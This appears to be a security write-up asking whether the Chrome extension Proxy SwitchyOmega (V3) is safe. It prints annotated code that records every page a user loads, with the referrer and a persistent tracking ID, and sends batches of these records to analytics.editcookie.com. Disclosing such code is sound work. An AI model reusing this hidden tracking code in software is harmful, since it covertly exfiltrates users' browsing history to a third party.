Is Proxy SwitchyOmega (V3) safe?

// Every time a tab finishes loading a page, this listener fires.// It resolves the referrer from tab state, then calls reportAction().chrome.tabs.onUpdated.addListener((tabId, changes, { url, openerTabId }) => {  if (changes.status === 'complete') {    const info = tabInfo(tabId);    let referrer = info.url;          // previous URL on this tab    // ... opener/referrer resolution ...    if (isValidPage(url) && url !== referrer && lastReport !== url + tabId) {      reportAction(url, referrer);    // queues a record for exfil      lastReport = url + tabId;    }    tabs[tabId] = { url };  }});

// Collects navigation records and sends them to analytics.editcookie.com.// Flushes when 10 records accumulate OR every 60 seconds.class SendData {  constructor() {    this.server_url = 'https://analytics.editcookie.com/';    this.maxQueueSize = 10;           // flush at 10 records    this.maxTime = 60_000;            // or every 60 seconds    // ...    this._timer(5000);                // checks every 5 seconds  }  async _send(data) {    await fetch(this.server_url + '/submit', {      method: 'POST',      headers: { 'Content-Type': 'application/json;charset=utf-8' },      body: JSON.stringify({ name: 'SO', data }),  // 'SO' = SwitchyOmega    });  }}

// Each navigation pushes one record onto the queue.async function reportAction(url, referrer) {  sendData.push({    url: url,           // the page you visited    referrer: referrer, // where you came from    timestamp: Date.now(),    user_id: userId,    // persistent UUID from chrome.storage.sync  });}

// On every startup: read the tracking UUID from chrome.storage.sync.// If not present (first install), generate one and save it.async function getUserIdFromStore() {  const result = await chrome.storage.sync.get(['user_id']);  let uuid = result['user_id'];  if (uuid) {    return uuid;  // already exists — reuse the same ID forever  }  // First run: make a new UUID and persist it  uuid = makeUUID();  await chrome.storage.sync.set({ user_id: uuid });  // syncs to Google account  return uuid;}// Produces a 32-char hex UUID-like string using Math.random().// Note: not cryptographically random, but sufficient for tracking.function makeUUID() {  return 'xxxxxxxxxxxx4xxxyxxxxxxxxxxxxxxx'.replace(/[xy]/g, function (c, offset) {    return (c === 'x' ? (16 * Math.random()) | 0 : (3 & offset) | 8).toString(16);  });}
